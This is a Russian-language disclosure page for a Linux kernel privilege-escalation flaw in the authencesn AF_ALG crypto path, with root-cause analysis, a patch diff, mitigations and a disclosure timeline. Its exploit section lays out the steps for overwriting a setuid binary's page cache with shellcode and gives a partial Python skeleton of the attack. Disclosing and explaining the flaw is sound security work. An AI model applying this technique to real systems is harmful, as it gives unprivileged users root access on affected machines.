CVE-2026-31431 — Copy Fail

732 байта. Любой дистрибутив. Root.

Прямолинейная логическая ошибка в криптографическом шаблоне authencesn ядра Linux позволяет непривилегированному локальному пользователю выполнить точную контролируемую запись 4 байт в page cache любого читаемого файла — включая setuid-бинарники. Без гонок. Без повторов. Без перекомпиляции. Root на каждом крупном дистрибутиве Linux, выпущенном с 2017 года.

📄 Технический отчёт  ·  🔗 Патч ядра  ·  🛡️ CVSS: Критический

Протестированные дистрибутивы

Все четыре были взломаны с помощью идентичного Python-скрипта размером 732 байта, без изменений.

Чем это отличается

Первопричина

Подготовка: страницы page cache в записываемом scatterlist

AF_ALG предоставляет непривилегированному пользовательскому пространству доступ к криптоподсистеме ядра. splice() передаёт данные файла в pipe по ссылке — передавая страницы page cache напрямую, без копирования. Когда пользователь выполняет splice файла в AEAD-сокет AF_ALG, входной scatterlist сокета содержит живые ссылки на кэшированные страницы этого файла в ядре.

В algif_aead.c оптимизация на месте 2017 года копировала AAD и шифротекст из TX scatterlist в RX-буфер, но связывала страницы тега аутентификации по ссылке с помощью sg_chain(), а затем устанавливала req->src = req->dst:

Входной SGL:   [ AAD | CT | Tag ]
                              ^
                              └─ sg_chain() → всё ещё указывает на страницы page cache

Выходной SGL:  [ AAD | CT ] ──→ [ Tag (страницы page cache) ]
              (RX-буфер)        (связаны из TX SGL)

req->src ──┐
           ├──→ тот же объединённый scatterlist
req->dst ──┘

Страницы page cache из splice() теперь находились внутри записываемого целевого scatterlist, отделённые от легитимной области записи только границей смещения. Ничто в API не гарантировало, что алгоритмы будут оставаться в пределах границ.

Триггер: внеграничная запись в scratch-область authencesn

authencesn — это AEAD-обёртка, используемая IPsec для поддержки 64-битных расширенных порядковых номеров (ESN). Для перестановки байтов ESN при вычислении HMAC она использует целевой буфер вызывающего как scratch-пространство — включая запись по смещению assoclen + cryptlen, которое находится за границей тега аутентификации:

scatterwalk_map_and_copy(tmp,     dst, 0,                       8, 0); // чтение AAD[0..7]
scatterwalk_map_and_copy(tmp,     dst, 4,                       4, 1); // перезапись dst[4..7]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen,     4, 1); // ← запись за пределы тега

Третий вызов записывает 4 байта (seqno_lo) по адресу dst[assoclen + cryptlen]. В пути AF_ALG с операцией на месте scatterwalk пересекает границу из RX-буфера в связанные страницы page cache тега. Ядро отображает страницу page cache через kmap_local_page и записывает напрямую в кэшированную копию целевого файла.

Затем HMAC завершается ошибкой (шифротекст сфабрикован), recvmsg() возвращает ошибку — но запись 4 байт сохраняется навсегда.

Три переменные, контролируемые атакующим

Как это произошло: цепочка из девяти лет

Ни одно отдельное изменение не было ошибочным само по себе. Уязвимость находится на пересечении всех трёх.

Эксплойт

Целевой файл по умолчанию — /usr/bin/su, setuid-root бинарник, присутствующий во всех протестированных дистрибутивах.

Шаг 1 — Настройка сокета
  Открыть AF_ALG сокет, привязать к authencesn(hmac(sha256),cbc(aes))
  Установить ключ. Принять request-сокет. (Привилегии не требуются.)

Шаг 2 — Цикл записи (один раз на каждый 4-байтовый фрагмент шеллкода)
  sendmsg()  →  байты AAD [4:8] несут 4 байта для записи (seqno_lo)
  splice()   →  страницы page cache целевого файла в AF_ALG сокет
  recv()     →  запускает decrypt → authencesn записывает seqno_lo в page cache
               (recvmsg возвращает ошибку; запись сохраняется)

Шаг 3 — Выполнение
  execve("/usr/bin/su")
  Ядро загружает бинарник из (теперь повреждённого) page cache
  Setuid-root бинарник выполняет внедрённый шеллкод → UID 0

a = socket.socket(38, 5, 0)                          # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... установить ключ, принять request-сокет u ...
u.sendmsg([b"A"*4 + payload_chunk], [cmsg_headers], MSG_MORE)
os.splice(target_fd, pipe_wr, offset)
os.splice(pipe_rd, alg_fd, offset)
u.recv(...)                                          # запускает запись в page cache

Устранение

Постоянное исправление

Обновите ядро до версии, содержащей патч a664bf3d603d. Исправление возвращает algif_aead.c к работе вне места: req->src указывает на TX SGL; req->dst указывает на RX-буфер. Страницы page cache из splice() остаются доступными только для чтения. Механизм sg_chain(), связывавший их с записываемым целевым scatterlist, удалён.

// До (уязвимо): src и dst используют один и тот же scatterlist
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, rsgl_src, used, ctx->iv);

// После (исправлено): src — TX SGL, dst — RX-буфер — полностью разделены
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, rsgl_dst, used, ctx->iv);

Немедленное смягчение

Отключите модуль ядра algif_aead:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

Или заблокируйте создание сокетов AF_ALG с помощью политики seccomp в профилях ваших рабочих нагрузок.

Примечание для контейнерных сред: Поскольку page cache является общим для хоста, эта уязвимость пересекает границы контейнеров. Применяйте меры смягчения на уровне узла, а не только для отдельных подов. Полные детали побега из Kubernetes см. в Части 2.

График скоординированного раскрытия

Обнаружение

Исследователь Theori Taeyang Lee выявил в ходе предыдущей работы над kernelCTF, что AF_ALG + splice() создаёт путь, по которому непривилегированное пользовательское пространство может передавать страницы page cache напрямую в криптоподсистему — и что происхождение страниц в scatterlist является недостаточно изученным классом уязвимостей.

Исследовательская группа использовала Xint Code для масштабирования этого наблюдения на всю подсистему crypto/ со следующим операторским промптом:

"Это подсистема linux crypto/. Изучите все пути кода, достижимые из пользовательских системных вызовов. Обратите внимание на ключевое наблюдение: splice() может доставлять ссылки на page cache файлов, доступных только для чтения (включая setuid-бинарники), в криптографические TX scatterlist."

Примерно через час автоматизированного анализа Copy Fail оказался результатом с наивысшей степенью серьёзности. Дополнительные уязвимости, обнаруженные в ходе того же сканирования, остаются в процессе скоординированного раскрытия.

Часть 2: От пода к хосту — как Copy Fail осуществляет побег из всех крупных облачных платформ Kubernetes. Скоро.